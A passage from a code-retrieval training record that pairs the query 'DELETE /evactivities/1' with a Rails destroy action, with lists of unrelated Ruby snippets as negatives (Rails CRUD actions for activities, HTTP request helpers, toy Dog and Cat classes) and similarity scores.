"def update\n cancel = params[:commit] == \"Cancel\"\n @activity = Activity.find(params[:id])\n authorize @activity\n\n if params[:update_material_properties]\n # set the material_properties tags\n @activity.material_property_list = (params[:material_properties] || [])\n @activity.save\n end\n\n if params[:update_cohorts]\n # set the cohort tags\n @activity.set_cohorts_by_id(params[:cohort_ids] || [])\n @activity.save\n end\n\n if params[:update_grade_levels]\n # set the grade_level tags\n @activity.grade_level_list = (params[:grade_levels] || [])\n @activity.save\n end\n\n if params[:update_subject_areas]\n # set the subject_area tags\n @activity.subject_area_list = (params[:subject_areas] || [])\n @activity.save\n end\n\n if request.xhr?\n if cancel || @activity.update_attributes(params[:activity])\n render :partial => 'shared/activity_header', :locals => { :activity => @activity }\n else\n render :xml => @activity.errors, :status => :unprocessable_entity\n end\n else\n respond_to do |format|\n if @activity.update_attributes(params[:activity])\n flash[:notice] = 'Activity was successfully updated.'\n format.html { redirect_to(@activity) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activity.errors, :status => :unprocessable_entity }\n end\n end\n end\n end",
"def update(id, name= \"Updated Name\")\n xml_req =\n \"<?xml version='1.0' encoding='UTF-8'?>\n <customer>\n <id type='integer'>#{id}</id>\n <name>#{name}</name>\n </customer>\"\n\n request = Net::HTTP::Put.new(\"#{@url}/#{id}.xml\")\n request.add_field \"Content-Type\", \"application/xml\"\n request.body = xml_req\n\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def update\n @step_activity = StepActivity.find(params[:id])\n\n respond_to do |format|\n if @step_activity.update_attributes(params[:step_activity])\n format.html { redirect_to @step_activity, notice: 'Step activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @step_activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if params[:events].nil?\n else\n params[:events].each do |e|\n if Activity.exists?(uuid: params[:events][e][:id])\n @activity = Activity.find_by uuid: params[:events][e][:id]\n @activity.update({\n start_time: params[:events][e][:start].in_time_zone,\n end_time: params[:events][e][:end].in_time_zone,\n })\n next\n else\n @activity = Activity.new({\n start_time: params[:events][e][:start].in_time_zone,\n end_time: params[:events][e][:end].in_time_zone,\n uuid: params[:events][e][:id],\n name: params[:events][e][:name],\n place: params[:events][e][:google_id],\n schedule_id: params[:schedule_id]\n })\n\n @activity.save\n end\n end\n end\n end",
"def update_activities(arr)\n self.activities.destroy_all\n arr.each do |atts|\n self.activities.create!(atts.merge({\n :start_at => sync_time(atts[:start_at]),\n :end_at => sync_time(atts[:end_at])\n }))\n end\n end",
"def update\n respond_to do |format|\n if @activity.update(activity_params)\n format.html { redirect_to [@group, @activity], notice: 'Activity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end",
"def activity(id)\n get(\"/activities/#{id}.json\")\n end"
] |
[
"0.6354809",
"0.6318676",
"0.6265058",
"0.6138935",
"0.6098074",
"0.60712934",
"0.6053803",
"0.60464185",
"0.59564817",
"0.59441143",
"0.5938981",
"0.5910238",
"0.59061784",
"0.58936435",
"0.5810343",
"0.57765913",
"0.5744259",
"0.57358086",
"0.57329607",
"0.57205886",
"0.5716982",
"0.5709154",
"0.57083184",
"0.5697477",
"0.56635886",
"0.5653669",
"0.56520253",
"0.56488496",
"0.5646444",
"0.5643405",
"0.56376785",
"0.563076",
"0.5616453",
"0.56098044",
"0.56067747",
"0.5606554",
"0.5606554",
"0.5606554",
"0.5606554",
"0.5606554",
"0.5603917",
"0.55841917",
"0.5576465",
"0.5574661",
"0.5574661",
"0.5574661",
"0.5568342",
"0.55615073",
"0.5555154",
"0.5549189",
"0.55453",
"0.55391234",
"0.5535369",
"0.5535078",
"0.55098766",
"0.5507142",
"0.5488608",
"0.54822934",
"0.54822576",
"0.5468281",
"0.54569936",
"0.54545534",
"0.54535997",
"0.54366165",
"0.54330295",
"0.5421132",
"0.5419491",
"0.54148144",
"0.5410005",
"0.54019916",
"0.53968805",
"0.5391678",
"0.53862506",
"0.5384196",
"0.53689665",
"0.5368197",
"0.53672564",
"0.5338575",
"0.5330096",
"0.5326687",
"0.532572",
"0.5324561",
"0.5322763",
"0.53047377",
"0.53047377",
"0.53047377",
"0.53047377",
"0.53047377",
"0.53047377",
"0.53047377",
"0.53047377",
"0.530183",
"0.52997726",
"0.5283035",
"0.5282089",
"0.52808094",
"0.52748734",
"0.5274755",
"0.5274165",
"0.5274165"
] |
0.69408417
|
0
|
DELETE /evactivities/1 DELETE /evactivities/1.xml
|
def destroy
@evactivity = Evactivity.find(params[:id])
@evactivity.destroy
respond_to do |format|
format.html { redirect_to(evactivities_url) }
format.xml { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @today_activity = TodayActivity.find(params[:id])\n @today_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(today_activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n \n respond_to do |format|\n format.html { redirect_to activities_url }\n format.xml { render :nothing => true }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def delete_activity(db, act_id)\n\tdb.execute(\"DELETE FROM activities WHERE id=?\", [act_id])\nend",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to([:manage, activities_url]) }\n format.xml { head :ok }\n end\n end",
"def destroy\n #@activity = Activity.find(params[:id])\n @activity = Activity.find_by_permalink(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @current_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n\n if @activity.nil?\n send_error_json(nil, \"Delete error\", 400)\n return\n end\n\n currid = @activity.id\n\n if @activity.destroy\n send_success_json(currid, {})\n else\n send_error_json(currid, \"Delete error\", 400)\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(course_path(params[:course_id])) }\n format.xml { head :ok }\n end\n end",
"def destroy\n if Activity.exists?(uuid: params[:id])\n @activity = Activity.find_by(uuid: params[:id])\n @activity.destroy\n end\n end",
"def destroy\n @activity.destroy\n @title = Title.find(@activity[:title_id])\n @event = Event.find(@title[:event_id])\n respond_to do |format|\n format.html { redirect_to event_path(@event), notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n activity = Activity.find(params[:id])\n activity.destroy\n redirect_to root_url\n end",
"def destroy_activity\n @activity = Activity.find(params[:id])\n @activity.destroy\n end",
"def destroy\n @activity = Activity.find(params[:id])\n\t\tauthorize! :destroy, @activity\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Exercise event was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @spot_activity = SpotActivity.find(params[:id])\n @spot_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(spot_activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to :action => :plan_chart }\n format.xml { head :ok }\n end\n end",
"def destroy\n # @activity.destroy\n # instead lets be lets be more gentle:\n @activity.archived = true;\n @activity.save\n respond_to do |format|\n format.html { redirect_to(:action => 'index', :page => params[:page] || 1) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n\n @activity.destroy\n\n redirect_to activities_path\n end",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @activity_event = ActivityEvent.find(params[:id])\n @activity_event.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_events_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity = current_user.activities.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :ok }\n end\n end",
"def delete_activities(**args)\n params = parameters(args) do\n required_params :ids\n optional_params :ids\n end\n request(:delete, 'activities', params)\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n end",
"def delete_activities\n self.activities.delete_all\n end",
"def destroy \n @activity = current_user.user_activities.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_path }\n format.json { head :no_content }\n end\n end",
"def destroy \n @activity = current_user.user_activities.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_path }\n format.json { head :no_content }\n end\n end",
"def netdev_resxml_delete( xml )\n top = netdev_resxml_top( xml )\n par = top.instance_variable_get(:@parent)\n par['delete'] = 'delete'\n end",
"def destroy\n @dev_activity.destroy\n respond_to do |format|\n format.html { redirect_to dev_activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to association_activites_url(@association) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to(activites_url) }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>[]}}\n \n end\n end",
"def delete\n\t@activity = Activity.get params[:id]\n\t@title = \"Confirm deletion of note ##{params[:id]}\"\n\t#redirect to delete page\n\terb :delete\nend",
"def delete()\n response = send_post_request(@xml_api_delete_path)\n response.is_a?(Net::HTTPSuccess) or response.is_a?(Net::HTTPRedirection)\n end",
"def destroy\n @group_activity = GroupActivity.find(params[:id])\n @group_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to(group_activities_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n authorize @eventunscraped\n @eventunscraped.create_activity :destroy, owner: current_user\n @eventunscraped.destroy\n respond_to do |format|\n format.html { redirect_to eventunscrapeds_url, notice: 'Eventunscraped was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity = current_user.activities.find(params[:id])\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @estatu = Estatu.find(params[:id])\n @estatu.destroy\n\n respond_to do |format|\n format.html { redirect_to(estatus_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @my_activity = MyActivity.find(params[:id])\n @my_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to my_activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @auditflows_flownode = AuditflowsFlownode.find(params[:id])\n @auditflows_flownode.destroy\n\n respond_to do |format|\n format.html { redirect_to(auditflows_flownodes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity_inventory = ActivityInventory.find(params[:id])\n @activity_inventory.destroy\n\n respond_to do |format|\n format.html { redirect_to(activity_inventories_url) }\n format.xml { head :ok }\n end\n end",
"def delete_activity(title, url)\n logger.info \"Deleting '#{title}'\"\n navigate_to url\n wait_for_load_and_click settings_link_element\n confirm(true) { wait_for_update_and_click delete_link_element }\n list_item_element(xpath: \"//li[contains(.,'#{title} deleted successfully')]\").when_present Utils.short_wait\n end",
"def delete_activity(id:, **args)\n params = parameters(args) do\n optional_params\n end\n request(:delete, \"activities/#{id}\", params)\n end",
"def delete\n eadid = (params[\"eadid\"] || \"\").strip\n if eadid == \"\"\n log_error(\"Cannot delete EAD. No ID was provided.\")\n flash[:alert] = \"No EAD ID was provided.\"\n redirect_to upload_list_url()\n return\n end\n\n filename = ENV[\"EAD_XML_PENDING_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n if !File.exist?(filename)\n log_error(\"Cannot delete EAD. File was not found: #{filename}\")\n flash[:alert] = \"Source file not found for finding aid: #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n target = ENV[\"EAD_XML_DELETED_FILES_PATH\"] + \"/\" + eadid + \".xml\"\n FileUtils.mv(filename, target)\n\n if !File.exist?(target)\n log_error(\"File delete failed: #{filename}\")\n flash[:alert] = \"Could not delete finding aid #{eadid}.\"\n redirect_to upload_list_url()\n return\n end\n\n Rails.logger.info(\"Findind aid #{eadid} has been deleted\")\n flash[:notice] = \"Findind aid #{eadid} has been deleted\"\n redirect_to upload_list_url()\n rescue => ex\n render_error(\"delete\", ex, current_user)\n end",
"def destroy\n @audit_log = AuditLog.find(params[:id])\n @audit_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(audit_logs_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @eco_task = EcoTask.find(params[:id])\n @eco_task.destroy\n\n respond_to do |format|\n format.html { redirect_to(eco_tasks_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @recent_activity = RecentActivity.find(params[:id])\n @recent_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to recent_activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @config_xml = ConfigXml.find(params[:id])\n @config_xml.destroy\n\n respond_to do |format|\n format.html { redirect_to(config_xmls_url) }\n format.xml { head :ok }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_group_url(@group) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n @activity.destroy\n\n respond_to do |format|\n format.html { redirect_to activities_url }\n format.json { head :no_content }\n end\n\n if @activity.created_at < 1.day.ago\n \tauthorize! :edit, @activity\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity_item = ActivityItem.find(params[:id])\n @activity_item.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\t\tics_for_all #########\n respond_to do |format|\n\t\t\tformat.html { redirect_to(:back) }\n format.xml { head :ok }\n end\n end",
"def delete\n ruta = \"/actions/#{action_id}\"\n client.delete(ruta)\n end",
"def destroy\n @activity_tag = ActivityTag.find(params[:id])\n @activity_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_tags_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @activite = Activite.find(params[:id])\n @activite.destroy\n\n respond_to do |format|\n format.html { redirect_to activites_url }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n request = Net::HTTP::Delete.new(\"#{@url}/#{id}.xml\")\n http = Net::HTTP.new(@uri.host, @uri.port)\n response = http.request(request)\n\n # no response body will be returned\n case response\n when Net::HTTPSuccess\n return \"#{response.code} OK\"\n else\n return \"#{response.code} ERROR\"\n end\n end",
"def destroy\n @estacion = Estacion.find(params[:id])\n @estacion.destroy\n\n respond_to do |format|\n format.html { redirect_to(estaciones_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @visit = Visit.find(params[:id])\n @visit.destroy\n\n respond_to do |format|\n format.html { redirect_to(visits_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html do\n flash[:success] = 'Activity was successfully destroyed.'\n redirect_to activities_url\n end\n format.json { head :no_content }\n end\n end",
"def destroy\n @estagio = Estagio.find(params[:id])\n @estagio.destroy\n\n respond_to do |format|\n format.html { redirect_to(estagios_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity = Activity.find(params[:id])\n\n respond_to do |format|\n if @activity.destroy\n format.html { redirect_to activities_url,\n notice: (crud_notice('destroyed', @activity) + \"#{undo_link(@activity)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to activities_url, alert: \"#{@activity.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @activity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to project_activities_url(@project), notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activity.destroy\n flash[:success] = \"Activity deleted\"\n\n format.html { redirect_to(people_url(current_user)) }\n end",
"def destroy\n @step_activity = StepActivity.find(params[:id])\n @step_activity.destroy\n\n respond_to do |format|\n format.html { redirect_to step_activities_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n prudent_destroy(@service, [:activities])\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html {redirect_to activities_url, notice: 'Activity was successfully destroyed.'}\n format.json {head :no_content}\n end\n end",
"def destroy\n @action_log = ActionLog.find(params[:id])\n @action_log.destroy\n\n respond_to do |format|\n format.html { redirect_to(action_logs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to phone_activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @aspect = Aspect.find(params[:id])\n @aspect.destroy\n\n respond_to do |format|\n format.html { redirect_to(aspects_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @event = Event.find(params[:id])\n @event.destroy\n\n respond_to do |format|\n format.html { redirect_to(tasks_path) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @absence_request = AbsenceRequest.find(params[:id])\n @absence_request.destroy\n\n respond_to do |format|\n format.html { redirect_to(absence_requests_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to api_activities_url, notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @actividad = Actividad.find(params[:id])\n @actividad.destroy\n\n respond_to do |format|\n format.html { redirect_to(actividads_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @etd = Etd.find(params[:id])\n @etd.destroy\n\n respond_to do |format|\n format.html { redirect_to(etds_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @attend = Attend.find(params[:id])\n @attend.destroy\n\n respond_to do |format|\n format.html { redirect_to(attends_url) }\n format.xml { head :ok }\n end\n end",
"def deleteResource(doc, msg_from)\n \n \n begin\n\n puts \"Deleting\"\n\n path = \"\"\n params = {}\n headers = {}\n \n context, path = findContext(doc, path) \n \n # Deleting member from group\n if context == :user_group_member\n params = {}\n else\n raise Exception.new(\"No context given!\")\n end\n \n httpAndNotify(path, params, msg_from, :delete)\n \n rescue Exception => e\n puts \"Problem in parsing data (CREATE) from xml or sending http request to the VR server: \" + e\n puts \" -- line: #{e.backtrace[0].to_s}\"\n end\n \n end",
"def destroy\n @activity.destroy\n respond_to do |format|\n format.html { redirect_to [@course, @learning_unit], notice: 'Activity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @activo = Activo.find(params[:id])\n @activo.destroy\n\n respond_to do |format|\n format.html { redirect_to(activos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @hr_attendence = Hr::Attendence.find(params[:id])\n @hr_attendence.destroy\n\n respond_to do |format|\n format.html { redirect_to(hr_attendences_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @vehicle_daily = VehicleDaily.find(params[:id])\n @vehicle_daily.destroy\n\n respond_to do |format|\n format.html { redirect_to(vehicle_dailies_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @eventtime = Eventtime.find(params[:id])\n @eventtime.destroy\n\n respond_to do |format|\n format.html { redirect_to(eventtimes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @activity = Activity.where(:user_id => current_user.id).find(params[:id])\n @activity.destroy\n flash[:success] = \"Activity deleted\"\n\n respond_to do |format|\n format.js { render :text => 'OK' }\n format.html { redirect_to(activities_url) }\n format.xml { head :ok }\n format.json { head :ok }\n end\n end",
"def destroy\n @activities_project = ActivitiesProject.find(params[:id])\n @activities_project.destroy\n\n respond_to do |format|\n format.html { redirect_to(activities_projects_url) }\n format.xml { head :ok }\n end\n end"
] |
[
"0.67443377",
"0.67256325",
"0.66694117",
"0.66694117",
"0.66694117",
"0.66694117",
"0.6667618",
"0.6642356",
"0.6613488",
"0.65336293",
"0.6502838",
"0.6445771",
"0.6426351",
"0.63692576",
"0.63592935",
"0.635836",
"0.6348664",
"0.63441026",
"0.6334772",
"0.63179433",
"0.62767845",
"0.62619853",
"0.6249476",
"0.624744",
"0.6247195",
"0.6245461",
"0.62236863",
"0.62169755",
"0.62117356",
"0.62117356",
"0.6210557",
"0.6210557",
"0.6210557",
"0.6210557",
"0.6210557",
"0.61923915",
"0.617516",
"0.617516",
"0.61686665",
"0.6155237",
"0.614949",
"0.6144714",
"0.61446404",
"0.61364716",
"0.61215776",
"0.6117341",
"0.60914654",
"0.6087682",
"0.6077111",
"0.6062168",
"0.60513026",
"0.6034269",
"0.6034241",
"0.6024198",
"0.6012479",
"0.6005199",
"0.6000804",
"0.59930396",
"0.598636",
"0.59736186",
"0.59710336",
"0.5966412",
"0.5966412",
"0.5966412",
"0.5966412",
"0.5966412",
"0.5966412",
"0.59646887",
"0.5961393",
"0.59570366",
"0.59445965",
"0.5942442",
"0.59356314",
"0.5935143",
"0.5932765",
"0.59264517",
"0.59254813",
"0.5919852",
"0.5902632",
"0.5901893",
"0.5899894",
"0.58988017",
"0.58923644",
"0.5887242",
"0.58866554",
"0.5885535",
"0.5885041",
"0.58759046",
"0.5872468",
"0.5871872",
"0.5868324",
"0.58613575",
"0.58599526",
"0.5855657",
"0.5852988",
"0.5847409",
"0.5840646",
"0.58250564",
"0.5819007",
"0.5819002"
] |
0.74623233
|
0
|
m ethod that puts "woof!" when called on an instance of Dog
|
def bark
puts "woof!"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def run #instance method, you chain it to an instance of a Dog\n # binding.pry\n puts \"#{@name} the #{@breed} is running fast as the wind\"\n end",
"def meow # Define a method that allows any instance of Cat to meow\n puts \"meow!\"\n end",
"def buy_dog(name)\n Dog.new(name,self)\n end",
"def meow\n puts \"meow!\"\n # when we call on the method .meow\n # it will put meow\n end",
"def buy_dog(name)\n Dog.new(name, self)\n end",
"def buy_dog(name)\n Dog.new(name, self)\n end",
"def buy_dog(dog_name)\n new_dog = Dog.new(dog_name, self)\nend",
"def buy_dog(name)\n new_dog = Dog.new(name,self)\n end",
"def eat(food)\n super(food) #- takes this from parent's eat(food) method\n puts(\"Woof\")\n end",
"def buy_dog(name)\n dog = Dog.new(name, self)\n end",
"def speak\n #useses the name variable that all GoodDog objects are assigned at creation. Different for each instance\n \"#{@name} says Arf!\"\n end",
"def make_it_swim(duck)\n duck.swim\nend",
"def sit\n puts \"The Dog is sitting\"\nend",
"def walk_dogs\n self.dogs.each {|dog| dog.mood = \"happy\"}\n end",
"def sit \n puts \"The Dog is sitting\"\n end",
"def eat(food, two)\n binding.pry # self\n super(\"fish\") # call the eat method in the parent class\n puts \"Play with #{food}.\"\n\n end",
"def sit\n puts \"The Dog is sitting\"\n end",
"def sit\n puts \"The Dog is sitting\"\n end",
"def dog(name)\r\n puts \"The dog's name is \" + name\r\n end",
"def buy_dog(dog_name)\n new_dog = Dog.new(dog_name, self)\n # tommy.buy_cat(\"Garfield\")\n end",
"def buy_dog(dog_name)\n self.dogs << Dog.new(dog_name,self)\n end",
"def walk_dogs \n self.dogs.each do |dog|\n dog.mood = \"happy\"\n end \n end",
"def walk_dogs\n\n self.dogs.each do |dog|\n dog.mood = \"happy\"\n end\n end",
"def walk_dogs\n self.dogs.each{|dog|\n dog.mood = \"happy\"\n }\n end",
"def buy_dog(name)\n dog = Dog.new(name, self)\n @dogs << dog\n end",
"def walk_dogs\n Dog.all.each do |dog|\n if dog.owner == self\n dog.mood = \"happy\"\n end\n end \n end",
"def make_it_quack(duck)\n duck.quack\nend",
"def eat\n puts \"From Oreo\"\n super\n end",
"def bark\n puts \"woof!\"\n end",
"def bark\n puts \"woof!\"\n end",
"def walk_dogs\n @pets[:dogs].each {|dog| dog.mood = \"happy\"}\n end",
"def bark\n puts \"woof\"\n end",
"def walk_dogs\n self.pets[:dogs].each do |dog|\n dog.mood = \"happy\"\n end\n end",
"def test_you_can_define_methods_on_individual_objects\n fido = Dog.new\n def fido.wag\n :fidos_wag\n end\n assert_equal :fidos_wag, fido.wag\n end",
"def walk_dogs\n @pets[:dogs][0].mood=(\"happy\")\n end",
"def walk_dogs\n @pets[:dogs].each { |dog| dog.mood = \"happy\"}\n end",
"def buy_dog(dog_name)\n dog = Dog.new(dog_name)\n self.pets[:dogs] << dog\n end",
"def buy_dog(new_name)\n # @dogs << Dog.new(name, self)\n Dog.new(new_name, self)\n end",
"def bark\n puts \"woof!\"\n end",
"def walk_dogs\n pets[:dogs].each do |dog|\n dog.mood = \"happy\"\n end\n end",
"def add_animal(animal)\n # binding.pry\n animal.zoo = self\n end",
"def walk_dogs\n dogs.each do |dog|\n dog.mood = \"happy\"\n end\nend",
"def bark\n p \"woof!\"\n end",
"def bark\n p \"woof!\"\n end",
"def bark\n puts \"woof!\"\n end",
"def walk_dogs #walks the dogs which makes the dogs' moods happy\n # dog = Dog.new(\"Daisy\")\n # owner.pets[:dogs] << dog\n # owner.walk_dogs\n # expect(dog.mood).to eq(\"happy\")\n pets[:dogs].each do |dog|\n dog.mood = \"happy\"\n end\n end",
"def bark\n puts \"woof woof!\"\n end",
"def bark \n puts \"Woof!\"\n end",
"def bark(visitor)\n puts \"My dog is barking at #{visitor}\"\n end",
"def dog_name\n end",
"def eat\n puts \"Eating the oreo cookie~~\"\n super\n end",
"def walk_dogs\n dogs.map {|dog| dog.mood = \"happy\"}\n end",
"def quack_it(duck)\n duck.quack\nend",
"def meow\n puts \"meow!\"\n end",
"def meow\n puts \"meow!\"\n end",
"def cog\n @cog\nend",
"def woo; puts \"woooooo\"; end",
"def dog(dog_name)\n return dog_name\nend",
"def old_dog\n p \"dog is #{old}\"\n end",
"def bark\n puts \"woof!\"\n end",
"def buy_dog(name)\n pets[:dogs] << Dog.new(name)\n end",
"def bark\n puts \"woof!\"\nend",
"def buy_dog(name)\n dog = Dog.new(name)\n @pets[:dogs] << dog\n end",
"def bark\n puts \"Hello, my name is #{self.name}\"\n end",
"def walk_dogs\n Dog.all.collect do |dogs|\n dogs.mood=\"happy\"\n end\n end",
"def buy_dog(dog)\n new_dog = Dog.all.find do |dog_instance|\n dog_instance.name == dog \n end\n if new_dog \n Dog.new(new_dog.name, self)\n else \n brand_new_dog = Dog.new(dog, self)\n end \n end",
"def walk_dogs\n self.pets[:dogs].map do |dogs|\n dogs.mood = \"happy\"\n end\n end",
"def buy_dog(name)\n#know sabout its dogs\n pets[:dogs] << Dog.new(name)\n end",
"def say_that_thing_you_say\n \"#{self.name} always says: #{self.catchphrase}\"\nend",
"def meow\n puts \"meow!\"\n end",
